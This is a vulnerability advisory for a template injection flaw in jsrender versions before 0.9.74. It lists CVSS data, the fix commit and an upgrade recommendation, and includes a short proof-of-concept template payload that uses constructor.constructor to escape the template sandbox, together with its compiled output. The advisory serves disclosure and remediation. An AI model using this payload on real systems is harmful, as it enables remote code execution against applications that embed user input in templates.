Template Injection in jsrender

published 2020-09-01 6 y ago modified 2023-11-08 3 y ago also GHSA-r87w-47m8-22w3

cvss: 6.3; version 3.1, GitHub
cisa kev: Not listed; not in CISA's catalog
epss: —; no EPSS score yet
public exploits: 0; none known

Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

## Proof of Concept

```js //POC-REQUEST {{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}} {{:#data}} {{/for}} ```

```js //POC-RESPONSE function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor(\"return arguments.callee.caller\")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; } ```

## Recommendation

Update to version 0.9.74 or later.

Patch / fix

fixed in 1 links 1

npm jsrender 0.9.74

github.com/BorisMoore/jsrender@f984e13 commit

CVSS scores

assigned by	version	score	vector
GitHub	3.1	6.3	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Affected packages

ecosystem	package	affected	fixed in
npm	jsrender	<0.9.74	0.9.74

Classification

Weakness

CWE-94 Improper Control of Generation of Code

References

Sources

GitHub Advisory GHSA-r87w-47m8-22w3

Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.

Summary